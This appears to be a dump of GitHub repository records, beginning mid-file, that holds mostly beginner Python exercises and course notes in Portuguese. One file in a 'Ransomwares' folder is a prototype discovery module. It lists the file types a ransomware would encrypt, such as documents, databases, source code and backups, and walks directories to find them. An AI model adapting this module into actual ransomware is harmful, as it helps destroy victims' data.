cliente2.remove_endereco(endereco)"},{"alpha_fraction":0.5860273838043213,"alphanum_fraction":0.6200000047683716,"avg_line_length":44.074073791503906,"blob_id":"9f67d565658f49607f2dce62d54d1e6efd102971","content_id":"c859a1e590213e633fcf6485b2eca06e2359bd32","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3679,"license_type":"permissive","max_line_length":114,"num_lines":81,"path":"/Paradigmas_Program/aula01.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\" CEUB - Ciência da Computação - Prof. Barbosa\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\n\n- Valor default\nQuando declaramos as variáveis na classe Conta, aprendemos que podemos atribuir um valor padrão\npara cada uma delas. Então, atribuo um valor padrão ao limite, por exemplo, 1000.0 reais.\n\nImplemente:\n1- Crie a classe Conta com os atributos numero, nome_cliente, saldo, limite.\n- Crie os métodos gets e sets.\n- Crie um objeto da classe Conta passando os dados\n- Mostre o endereço do objeto conta criado\n5- Consulte e mostre os dados da conta\n6- Altere o nome do cliente do objeto Conta, teste.\n- Faça um depósito, teste.\n8- Faça um saque, teste.\n- Faça uma transferência, teste.\n10- Consulte um extrato com os dados: nome, número e saldo da conta\n- Use o método __class__ no objeto cliente\n- Use o método __class__.__name__ no objeto cliente\n- Mostre os atributos do objeto cliente com o método __dict__\n14- Mostre os atributos do objeto cliente com o método vars \"\"\"\nclass Conta:\n def __init__(self, numero, nome_cliente, saldo, limite=1000.0):\n self.numero = numero\n self.titular = nome_cliente\n self.saldo = saldo\n self.limite = limite\n def get_titular(self):\n return self.titular\n def set_titular(self, nome):\n self.titular = nome\n def get_saldo(self):\n return self.saldo\n def get_numero(self):\n return self.numero\n def deposito(self, valor):\n self.saldo += valor # self.saldo = self.saldo + valor\n def saque(self, valor):\n if self.saldo + self.limite < valor:\n print('Saldo insuficiente.')\n return False\n else:\n self.saldo -= valor\n print('Saque realizado.')\n return True\n def transfere_para(self, destino, valor):\n retirou = self.saque(valor)\n if not retirou: # if retirou == False:\n print('Transferência não realizada')\n return False\n else:\n destino.deposito(valor)\n print('Transferência realizada com sucesso')\n return True\n def extrato(self):\n # print(\"Extrato:\\nNome: {}, Número: {}, Saldo: {}\".format(self.titular, self.numero, self.saldo))\n print(f\"Extrato:\\nNome: {self.titular}, Número: {self.numero}, Saldo: {self.saldo}\")\nif __name__ == '__main__': # mai <tab>\n conta1 = Conta('123-4', 'João', 1200.0, 1000.0) # Chama o contrutor (__init__)\n print(conta1)\n # <conta_agregacao.Conta object at 0x000002B9DBA4AF70>\n print('Nome:', conta1.get_titular()) # Consulta nome_objeto.nome_metodo()\n print('Número:', conta1.get_numero())\n conta1.set_titular('Ana') # Altera o nome do cliente\n print('Nome:', conta1.get_titular())\n conta1.deposito(200)\n print('Saldo:', conta1.get_saldo())\n conta1.saque(100)\n print('Saldo:', conta1.get_saldo())\n conta2 = Conta('923-4', 'Ailton', 2000.0, 1000.0) # Chama o contrutor (__init__)\n print(conta1)\n conta1.transfere_para(conta2, 200) # Transferência da conta1 para a conta2\n conta1.transfere_para(conta2, 4000) # Transferência da conta1 para a conta2\n conta1.extrato()\n conta2.extrato()\n print('Método especiais:')\n print(conta1.__class__) # <class '__nain__.Conta'>\n print(conta1.__class__.__name__) # Conta\n print(conta1.__dict__) # {'numero': '123-4', 'titular': 'Ana', 'saldo': 1100.0, 'limite': 1000.0}\n print(vars(conta1)) # {'numero': '123-4', 'titular': 'Ana', 'saldo': 1100.0, 'limite': 1000.0}"},{"alpha_fraction":0.4552238881587982,"alphanum_fraction":0.5268656611442566,"avg_line_length":34.26315689086914,"blob_id":"2703f371964aeeadd003c90a367e9084ab4cda38","content_id":"2f967e381cf2a87d0cdfa172f4959d9d0d1d0918","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":674,"license_type":"permissive","max_line_length":116,"num_lines":19,"path":"/Curso-Em-Video/M3/ex76.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nlistagem = ('lapis',1.75,\n 'Borracha',2,\n 'Caderno',15.90,\n 'Estojo',25,\n 'Transferidor',4.20,\n 'Compasso',9.99,\n 'Mochila',120.32,\n 'Caneta',22.30,\n 'Livro',34.90)\nprint('-' * 40)\nprint(f'{\"LISTAGEM DE PREÇOS\":^40}')\nprint(f'-' * 40)\nfor pos in range(0,len(listagem)):\n if pos % 2 ==0: #veja a tupla a cima e perceba que o nome dos produtos estão sempre em posições pares\n print(f'{listagem[pos]:.<30}', end='')# '.<30' -> alinhado a esquerda com 30 caracteres ocupados com pontos \n else:\n print(f'R${listagem[pos]:>7}')\nprint('-' * 40)\n"},{"alpha_fraction":0.5183486342430115,"alphanum_fraction":0.5481651425361633,"avg_line_length":32.53845977783203,"blob_id":"8f8e209d67ed56caa0d1519542c75913bbafda79","content_id":"1c8b1f44e167dd35b92226b9697c6d032c22daa5","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":440,"license_type":"permissive","max_line_length":79,"num_lines":13,"path":"/Curso-Em-Video/M3/ex72.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ncont = ('zero','Um','Dois','Três','Quatro','Cinco','Seis','Sete','Oito','Nove',\n 'Dez','Onze','Doze','Treze','Quatorze','Quinze','Dezenove','Vinte')\n\nn = int(input('Digite um número de 0 a 20: '))\n\nif n > 20:\n while n>20:\n n = int(input('Por favor digite apenas números de 0 a 20'))\nif n <= 20:\n for posi,ext in enumerate(cont):\n if posi == n:\n print(f'Você digitou {ext}')\n"},{"alpha_fraction":0.604938268661499,"alphanum_fraction":0.6327160596847534,"avg_line_length":35,"blob_id":"1aa1dcd09661ca61ebb5a841adfb7bee1ac162f8","content_id":"88bf50c7564d98864ad01d5f1d15887aa2eb94a8","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":325,"license_type":"permissive","max_line_length":111,"num_lines":9,"path":"/Curso-Em-Video/M1/ex29.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nvel = int(input('Qual foi a velocidade registrada? '))\nlim = 80\nif vel < 80:\n print(f'Ele estava a {vel}Km/h e não ultrapassou o limite.')\nelse:\n vel2= vel - lim\n multa= vel2 * 7\n print(f'Ele estava a {vel}Km/h a {vel2}Km/h acima do limite, portanto deve pagar uma multa de R${multa} ')\n"},{"alpha_fraction":0.5235849022865295,"alphanum_fraction":0.5825471878051758,"avg_line_length":23.882352828979492,"blob_id":"1f4a96a35432b269488c178340325a8a9f63c9fa","content_id":"ecf17b141e2e4375a960bdb96019fa6fdc95cebc","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":430,"license_type":"permissive","max_line_length":44,"num_lines":17,"path":"/Curso-Em-Video/M1/ex33.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn1 = int(input('Digite o primeiro valor: '))\nn2 = int(input('Digite o segundo valor: '))\nn3 = int(input('Digite o terceiro valor: '))\n\nmaior = 0\nmenor =99999\n\nif (n1 > n2) and (n1 > n3):\n maior = n1\n print(f'O maior número é {maior}')\nif(n2 > n1) and(n2> n3):\n maior = n2\n print(f'O maior número é {maior}')\nif (n3 > n2)and(n3 >n1):\n maior = n3\n print(f'O maior número é {maior}')\n\n"},{"alpha_fraction":0.6131687164306641,"alphanum_fraction":0.6296296119689941,"avg_line_length":33.71428680419922,"blob_id":"ee64d975bffef4909cdb0e8eecf416450b355dd6","content_id":"90155e94967a5fb019acb581edd8c9ce22cb5a51","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":248,"license_type":"permissive","max_line_length":101,"num_lines":7,"path":"/Curso-Em-Video/M1/ex18.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport math\nn = float(input('Digite o ângulo que você deseja: '))\ncos =math.cos(n)\nsen =math.sin(n)\ntan =math.tan(n)\nprint(f' O ângulo de {n}º tem o SENO: {sen:.2f}\\n e o COSSENO {cos:.2f}\\n e a tângente de {tan:.2f}')\n"},{"alpha_fraction":0.4268292784690857,"alphanum_fraction":0.4695121943950653,"avg_line_length":11.615385055541992,"blob_id":"bb9f9a5b64a473adb5365e8bcf3ae54dc562b25f","content_id":"c5d7f6fc9701bd415c2709a24a9015da6b71db99","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":164,"license_type":"permissive","max_line_length":17,"num_lines":13,"path":"/curso_monitoria/continue2.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"print()\nprint(\"inicio\")\ni = 0\nwhile(i<10):\n i += 1\n if(i%2==0):\n continue\n if(i>5):\n break\n print(i)\nelse:\n print(\"else\")\nprint(\"fim\")\n"},{"alpha_fraction":0.6125907897949219,"alphanum_fraction":0.6464890837669373,"avg_line_length":33.41666793823242,"blob_id":"fc4f8ec72bc81869bf8ef0f4ff193eda238d52fa","content_id":"309d1ebe81bd12de2ed7aecc6605909f57409022","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":420,"license_type":"permissive","max_line_length":76,"num_lines":12,"path":"/Curso-Em-Video/M2/ex40.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn1 = float(input('Digite a primeira nota: '))\nn2 = float(input('Digite a segunda nota: '))\n\nmedia = (n1+n2)/2\n\nif media < 5.0:\n print(f'A média do aluno foi {media} portanto está reprovado!')\nelif media >= 5.0 and media < 6.9:\n print(f'A média do aluno foi {media} portanto ele está de recuperação!')\nelif media >= 7.0:\n print(f'A media do aluno foi:{media} ele está aprovado! ')\n"},{"alpha_fraction":0.5096153616905212,"alphanum_fraction":0.5432692170143127,"avg_line_length":22.11111068725586,"blob_id":"11aa67fc3ffe6165874c8c253327b57018af15bc","content_id":"c89458539e150b29aa9c0a5a9787801a4620cddd","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":209,"license_type":"permissive","max_line_length":49,"num_lines":9,"path":"/Curso-Em-Video/M2/ex61.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\na1 =int(input('Digite o primeiro termo da PA: '))\nr =int(input('Digite a razão: '))\ntermo = a1\ncont = 1\nwhile cont<= 10:\n print(f'{termo} => ', end=' ')\n termo += r\n cont +=1\n"},{"alpha_fraction":0.5885714292526245,"alphanum_fraction":0.6228571534156799,"avg_line_length":34,"blob_id":"49e83e16fe5db32c22d04b93d20a8e78c5b32b7b","content_id":"b6112df5ffe76c563bd9d8f7616e251d085a47a7","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":176,"license_type":"permissive","max_line_length":45,"num_lines":5,"path":"/Curso-Em-Video/M1/ex07.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn1 = int(input(\"Digite a primeira nota: \"))\nn2 = int(input(\"Digite a segunda nota: \"))\nmedia = (n1+n2)/2\nprint(f'A média final do aluno foi: {media}')\n"},{"alpha_fraction":0.5963302850723267,"alphanum_fraction":0.5963302850723267,"avg_line_length":26.25,"blob_id":"520b35f769343708c145812b8f69b550ba16eee8","content_id":"f5af39997404de4051ff64c2ea83184cf064d83d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":436,"license_type":"permissive","max_line_length":53,"num_lines":16,"path":"/PythonPOO/Composicao/classes.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"class Cliente:\n def __init__(self, nome, idade):\n self.nome = nome\n self.idade = idade\n self.endereco = []\n\n def insere_enderecos(self, cidade, estado):\n self.endereco.append(Endereco(cidade,estado))\n\n def lista_enderecos(self):\n for endereco in self.endereco:\n pass\nclass Endereco:\n def __init__(self, cidade, estado):\n self.cidade = cidade\n self.estado = estado\n"},{"alpha_fraction":0.5584415793418884,"alphanum_fraction":0.6883116960525513,"avg_line_length":25,"blob_id":"28c5e0d971b5006ba9b8ad94c939221eb153f20a","content_id":"aa8e4be7810f45ebc0dcd76eddfcc780818fd521","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":77,"license_type":"permissive","max_line_length":38,"num_lines":3,"path":"/Curso-Em-Video/M3/ex112.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import mod112\np = float(input('Digite o preco: R$'))\nmod112.resumo(p, 80 ,35)"},{"alpha_fraction":0.7166666388511658,"alphanum_fraction":0.7166666388511658,"avg_line_length":29.100000381469727,"blob_id":"c9631d56de635be5d34f88058e698a8e4537220d","content_id":"0e0c41a24c8d95773a29b57af0a28d0633cd0d8a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":304,"license_type":"permissive","max_line_length":57,"num_lines":10,"path":"/Curso-Em-Video/M3/ex114.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import urllib\nimport urllib.request\n\ntry:\n site = urllib.request.urlopen('http://pudim.com.br/')\nexcept urllib.error.URLError:\n print('O site Pudm não está disponivel no momento. ')\nelse:\n print('Consegui acessar o site pudim com sucesso!')\n print(site.read()) #lê o conteúdo HTML do site"},{"alpha_fraction":0.6843658089637756,"alphanum_fraction":0.6858407258987427,"avg_line_length":31.285715103149414,"blob_id":"826eeac5f9fc49e6b0d8b2958f474233d05edb28","content_id":"6f4886fe7f1f914149213456edb9eb22bfe8a8d4","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1375,"license_type":"permissive","max_line_length":122,"num_lines":42,"path":"/Curso-Em-Video/M3/tratando_erros.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\n# Tratamento de erros\n- Erros de semantica são extremamente comuns, devido a erros ou mau uso do programa por parte do usúario ou por desatenção\ndo programador, para resolver isso usamos o \"try\" da seguinte maneira:\n\n try:\n codigo x\n except:\n retorno\n\n- Onde o código x é o bloco que o programa tentará execultar e o retorno é a menssagem de erro para o usuario, isso\nque o programa \"trave\" e fique inútilizado para o usúario\n\n\"\"\"\n# Exemplo\n\"\"\"\ntry:\n a = int(input('Numerador: '))\n b = int(input('Denominador: '))\n r = a / b\nexcept Exception as erro: # podemos ter varios exeptions para varios tipos de erros\n print(f'Problema encontrado foi: {erro.__class__}')\nelse:\n print(f'O resultado é {r}')\nfinally: # -> o que vai ocorrer sempre independente de ocorrido um erro ou não\n print('Volte sempre!')\n\"\"\"\n# Exemplo2\ntry:\n a = int(input('Numerador: '))\n b = int(input('Denominador: '))\n r = a / b\nexcept (ValueError, TypeError):\n print(f'Tivemos um problema com os tipos de dados que você digitou!')\nexcept(ZeroDivisionError):\n print('Não é possivel dividir por zero!')\nexcept KeyboardInterrupt:\n print('O usúario preferiu não informar os dados! ')\nelse:\n print(f'O resultado é {r:1.f}')\nfinally: # -> o que vai ocorrer sempre independente de ocorrido um erro ou não\n print('Volte sempre!')\n"},{"alpha_fraction":0.5492424368858337,"alphanum_fraction":0.5871211886405945,"avg_line_length":28.33333396911621,"blob_id":"ce0a1c743e05a648e0a5f1bc2c159870531fc2cd","content_id":"1c741e8a11f5448b30090f27d461cd096c24418a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":266,"license_type":"permissive","max_line_length":59,"num_lines":9,"path":"/Curso-Em-Video/M1/ex31.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nkm = int(input('Digite a distancia da viagem em Km: '))\n\nif km < 200:\n preco = km * 0.50\n print(f'O valor total da viagem de {km}Km é R${preco}')\nelse:\n preco = km * 0.45\n print(f'O valor total da viagem de {km}Km é R${preco}')\n"},{"alpha_fraction":0.7111111283302307,"alphanum_fraction":0.7666666507720947,"avg_line_length":23.636363983154297,"blob_id":"aecda206fbcabffff683074cdbca8aa89d729d93","content_id":"92d4a881c7e584de5bf84b7d8fbf318b0ca3538a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":270,"license_type":"permissive","max_line_length":44,"num_lines":11,"path":"/PythonPOO/Agregação /main.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from classes import CarrinhoCompras, Produto\ncarrinho = CarrinhoCompras()\n\np1 = Produto('Camisa',50)\np2 = Produto('iphone',10000)\np13 = Produto('Caneca',20)\n\ncarrinho.inserir_produto(p1)\ncarrinho.inserir_produto(p2)\ncarrinho.lista_produto()\nprint(carrinho.soma_total())"},{"alpha_fraction":0.575272262096405,"alphanum_fraction":0.5816783905029297,"avg_line_length":47.78125,"blob_id":"7d8b561375a70d4fffcdb611c16001aae0e73025","content_id":"32867f95ad44e1ff067ff77e262a9b813b697fdd","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1568,"license_type":"permissive","max_line_length":117,"num_lines":32,"path":"/Ransomwares/ex01/discovery.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"#!/usr/bin/python3.7\n#prototipo\nimport os\ndef discover(initial_path):\n extensions =[#'exe,', 'dll', 'so', 'rpm', 'deb', 'vmlinuz', 'img' Arquivos do Sitema\n\t'jpg','jpeg','bmp','gif','png','svg','psd','raw', # imagens\n\t'mp3','mp4','m4a','aac','ogg', 'flac','wav', 'wma','aiff', 'ape', # Audios\n\t'avi','flv','m4v','mkv', 'mov','mpg', 'mpeg', 'wmv', 'swf', '3gp', #Vídeos\n\t'doc','docx','xls','xlsx','ppt','pptx', # Microsoft office OpenOffice, Adobe, Latex, Markdown, etc\n\t'odt','odp','ods','txt','rtf','tex','pdf','epub','md','yml','yaml','json','xml','csv', # dados estruturados e config\n\t'db','sql','dbf','mdb','iso', # bancos de dados e imagens de disco\n\t'html','htm','xhtml','php','asp','aspx','js','jsp','css', # tecnologias web\n\t'c','cpp','cxx','h','hpp','hxx', # Código fonte C e C++\n\t'java','class','jar', # Códigos fonte Java\n\t'ps','bat','vb', # Scripts de sistemas windows\n\t'awk','sh','cgi','pl','ada','swift', # Scripts de sistemas unix\n\t'go','py','pyc','bf','coffee', # Outros tipos de códigos fonte\n\t'zip','tar','tgz','bz2','7z','rar','bak' # Arquivos compactados e Backups\n ]\n\n for dirpath, dirs, files in os.walk(initial_path):\n for _file in files:\n absolute_path = os.path.abspath(os.path.join(dirpath,_file))\n ext = absolute_path.split\n ext = absolute_path.split('.')[-1]\n if ext in extensions:\n yield absolute_path\n# Isso só execultado quando você executa o módulo diretamente\nif __name__ =='__main__':\n x - discover(os.getcwd())\n for i in x:\n print(i)\n"},{"alpha_fraction":0.4307692348957062,"alphanum_fraction":0.44999998807907104,"avg_line_length":24.899999618530273,"blob_id":"66303b986436c7a61439ee0bf143b5c5c2d7f5e7","content_id":"323b3bc27d0f45f991b54aaa7a7c7bd73f4631e2","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":261,"license_type":"permissive","max_line_length":55,"num_lines":10,"path":"/Curso-Em-Video/M2/ex67.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nwhile True:\n n =int(input('Quer ver a tabuada de qual número?'))\n if n == 0:\n print('O programa ENCERROU!')\n break\n else:\n for i in range(0,11):\n m = i * n\n print(f'{i} X {n} = {m}')\n\n"},{"alpha_fraction":0.46482759714126587,"alphanum_fraction":0.5103448033332825,"avg_line_length":25.851852416992188,"blob_id":"0aa4bf534e38526f7563a7cc728bca05f4f715a7","content_id":"1e7266ba9a0775d1edb7d6fa19f95e802b808db8","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":728,"license_type":"permissive","max_line_length":65,"num_lines":27,"path":"/Curso-Em-Video/M3/ex87.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nmatrix = [[0,0,0],[0,0,0],[0,0,0]]\npair = 0\nodd = 0\nscol = 0\nfor l in range(0,3):\n for c in range(0,3):\n matrix[l][c] = int(input(f'Digite o valor [{l}][{c}]: '))\n if matrix[l][c] % 2 ==0:\n pair +=matrix[l][c]\n else:\n odd +=matrix[l][c]\nfor l in range(0,3):\n for c in range(0,3):\n print(f'[{matrix[l][c]:^5}]',end ='')\n print()\nprint(f'A soma dos pares é: {pair}')\n\nfor l in range(0,3):\n scol +=matrix[l][2]\nprint(f'A soma dos elementos da terceira coluna é: {scol}')\nfor c in range(0,3):\n if c ==0:\n hign = matrix[1][c]\n elif matrix[1][c] > hign:\n hign = matrix[1][c]\nprint(f'O maior valor da segunda linha é {hign}')\n"},{"alpha_fraction":0.6320754885673523,"alphanum_fraction":0.6426886916160583,"avg_line_length":20.769229888916016,"blob_id":"3f88eb7542d325ccd30ca095d3eec10580a0731b","content_id":"8ccd9ee474027a4d6285c9c7b8f6006c9bb6097b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":854,"license_type":"permissive","max_line_length":56,"num_lines":39,"path":"/Geek-University/Seção3/Recebendo_dados.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\n# Recebendo dados dos usúario\n\ninput -> Todo dado receebido via input é do tipo string\n\nEm python, string é tuod que estiver em:\n - Aspas Simples;\n - Aspas duplas;\n - Aspas simples triplas;\n - Aspas duplas triplas;\n\nExemplos:\n - Aspas Simples -> 'Anjelina jolie'\n - Aspas Duplas -> \"angelina\"\n\"\"\"\n\n# Entrada de dados\nprint('Qual é o seu nome? ')\nnome = input() # Input -> entrada\n\n# Exemplos de print 'Antigo' 2.X\n# print('Seja bem-vindo(a) %s' %nome)\n\n# Exemplo de print 'moderno' 3.x\n# print('Seja bem-vindo(a) {0}'.format(nome))\n\n# Exemplo de print 'mais atual' 3.7\nprint(f'Seja bem vindo {nome}')\n\nprint(\"Qual é a sua idade? \")\nidade = input()\n# Processamento\n\n# Saída\n# Exemplo de print 'antigo' 2.x\n# print('A %s tem %s anos %' (nome,idade))\n\n# Exemplo de print 'moderno' 3.x\n# print('A {0} tem {1} anos'.format(nome, idade))"},{"alpha_fraction":0.5967742204666138,"alphanum_fraction":0.6854838728904724,"avg_line_length":48.79999923706055,"blob_id":"9dec54f4524f747f8d1ce0c1e6223993e682f6d5","content_id":"d87c2b07a66d718c0d8c429b235328966d0b606d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":250,"license_type":"permissive","max_line_length":66,"num_lines":5,"path":"/Curso-Em-Video/M3/ex109.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"import mod109\np = float(input('Digite o preco: R$'))\nprint(f'A metade de {mod109.moeda(p)} é {mod109.metade(p, True)}')\nprint(f'O dobro de {mod109.moeda(p)} é {mod109.dobro(p, True)}')\nprint(f'Aumentanexdo 10%, temos {mod109.aumentar(p,10, True)}')"},{"alpha_fraction":0.6428571343421936,"alphanum_fraction":0.651260495185852,"avg_line_length":46.599998474121094,"blob_id":"9bb24265f2fa8487562e4c1ba11737b678f20650","content_id":"34afcf404a7dfb77f15e5292a5a0e0df0b8b9e17","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":238,"license_type":"permissive","max_line_length":97,"num_lines":5,"path":"/Curso-Em-Video/M2/ex57.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nsexo = str(input('Digite o seu sexo [M] para masculino ou [F] para feminino')).strip().upper()[0]\nwhile sexo not in 'MmFf':\n sexo =str(input('Digie um valor valido[M/F]: '))\nprint('Dado registrado com sucesso!')\n"},{"alpha_fraction":0.5564516186714172,"alphanum_fraction":0.5806451439857483,"avg_line_length":40.33333206176758,"blob_id":"e5511261e6b64f022b5763daa9fd8407ccb82b01","content_id":"1cb6a78fc8c6d7c1e61c3a1952b805c955ff9a17","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":127,"license_type":"permissive","max_line_length":62,"num_lines":3,"path":"/Curso-Em-Video/M1/ex05.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn = int(input(\"Digite um número: \"))\nprint(f'O antecessor de {n} é {n-1} e o seu sucessor é {n+1}')\n"},{"alpha_fraction":0.5614250898361206,"alphanum_fraction":0.5872235894203186,"avg_line_length":31.559999465942383,"blob_id":"dcf86a7ca350e08dccf0e4435bd3add8b6c9b346","content_id":"52e6ed5731ba4b5e0d889fc389a9673582e50c43","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":818,"license_type":"permissive","max_line_length":72,"num_lines":25,"path":"/Curso-Em-Video/M2/ex56.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ntidade = 0\nmedia = 0\nmaioridadehomem = 0\nnomevelho = 0\ntotmulher20 = 0\nfor p in range(1,5):\n nome = str(input('Digite o seu nome: '))\n idade =int(input('Digite a sua idade: '))\n sexo = str(input('\\n Qual é o seu sexo?'\n '\\n [M] => Masculino'\n '\\n [F] => Feminino')).strip()\n tidade += idade\n if p== 1 and sexo in 'Mm':\n maioridadehomem = idade\n nomevelho = nome\n if sexo in 'Mm' and idade > maioridadehomem:\n maioridadehomem = idade\n nomevelho = nome\n if sexo in 'Ff' and idade > 20:\n totmulher20 += 1\nmedia = tidade/4\nprint(f'A média de idade do grupo é de {media} anos')\nprint(f'O homem mais velho tem {maioridadehomem} e se chama{nomevelho}')\nprint(f'Ao todo são {totmulher20} com 20 anos')\n"},{"alpha_fraction":0.5984252095222473,"alphanum_fraction":0.6299212574958801,"avg_line_length":30.75,"blob_id":"9023ea33c6e1bc864e5b1fcabf68f1f30ca6c52e","content_id":"8409c4755e689473f32e500bcec3ad1c7af26032","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":129,"license_type":"permissive","max_line_length":51,"num_lines":4,"path":"/Curso-Em-Video/M1/ex10.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn = int(input('Digite a quantidade de dinheiro: '))\nd = n/5.49\nprint(f'Você pode comprar {d} dólares')\n"},{"alpha_fraction":0.6519284844398499,"alphanum_fraction":0.6612182259559631,"avg_line_length":34.735294342041016,"blob_id":"2ff0d7dccb1e859f62b0ad80989b591639283c40","content_id":"2168227511508cfde9bf4267f3a4a54b8e5c3b5c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8614,"license_type":"permissive","max_line_length":190,"num_lines":238,"path":"/Geek-University/Poo/Poo.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\"\nProgramação Orientada a objeto - POO\n\n- POO é um modelo de paradgma de programação que utiliza mapeamento\nde objetos do mundo real para modelos computaconais.\n\n- Paradigma de programação é a forma/metodologia utilizada para\npensar/desenvolver sistemas.\n\nPrincipais elementos da orientação a orientação a objetos.\n- Classe -> Modelo do objeto do mundo real sendo representado computacionalmente.\n- Atributo -> Características dp objeto.\n- Método -> Comportamento do objeto(funções).\n- Construtor -> método especial utilizado para criar objeto.\n- Objeto -> instancia da classe.\n\"\"\"\n\n#--------------------------------------------------------------------------------------------------------------------\n\"\"\"\nPOO - Classes \n\nEm POO , classes nada mais são do que modelos dos objetos do mundo real sendo representados \ncomputacionalmente.\n\nClasses podem conter: \n - Atributos -> Repesentam as cracteristicas dos objetos, ou seja , pelos atributos podemos representar \n computacionalmente os estados de um objeto. No caso da lâmpada, possivelmento iriamos querer saber se a\n lâmpada é de 110 ou 220 volts, se ela é branca, amarela, vermelha, ou de iutra cor, qual é a luminosidade \n dela etc.\n \n - Métodos -> Representam os comportamentos do objeto, ou seja, as ações que este objeto pode realizar no seu\n sistema. No caso da lampada por exemplo, um comportamento comum que muito provavelmento iriamos querer representar \n no nosso sistema é o de ligar e desliga a mesma.\n \nPara definirmos uma classe me python usamos a palavra reservada 'class' \n\nOBS: classes sao objetos\n\n\"\"\"\n#------------------------------------------------------------------------------------------------------------------------------------\n\"\"\"\nPOO: Atributos\nAtributos representam as características de um projeto. Ou seja, pelos atributos \nnós conseguimos representar computaconalmete os estados de um onjeto.\n\nEm python, dividios os atributos em 3 grupos:\n - Atributos de instancia;\n - Atributos de classe;\n - Atributos dinamicos;\n\n# Atributos de instancia:\n São atributos declarados dentro do método construtor.\n - Ao criarmos instâncias/Objetos de uma classe , todas as intâncias terão esses atributos. \n __ -> indica que o atributo é private\n self -> É o objeto que está usando o método\n \n# Atributos publicos e privados: \n - Atributos privados so podem ser acessados na propria classe \n - Por converção todos atributos são publicos\n\n# Atributos de Classe\n - São atributos declarados diretamente na classe, ou seja, fora do método construtor.\n geralmente já iniciamos um valor, e este valor é compartilhado entre todas as instancias da classe.\n Ou seja, ao invés de cada instância da classe ter seus próprios valores como é o caso dos atributos de \n instâncias, como os atributos de classe todas as instâncias terão o mesmo valor para o atributo. \n\n# Atributos Dinamicos\n - Um atributo de instância que pode ser criado em tempo de execução, mas o atributo dinamico será exclusivo\n da instância que o criou.\n \n\n\"\"\"\n#----------------------------------------------------------------------------------------------------------------------\n\n\n#print(help(list)) para consultas\n\n#class Lampada:\n# def __init__(self, voltagem,cor):\n# self.__voltagem = voltagem # esta linha indica que o objeto Lampada no atributo Voltagem vai receber voltagem\n# self.__cor = cor\n# self.__ligada = False\n#\n#class ContaCorrente:\n# def __init__(self,numero, limite, saldo):\n# 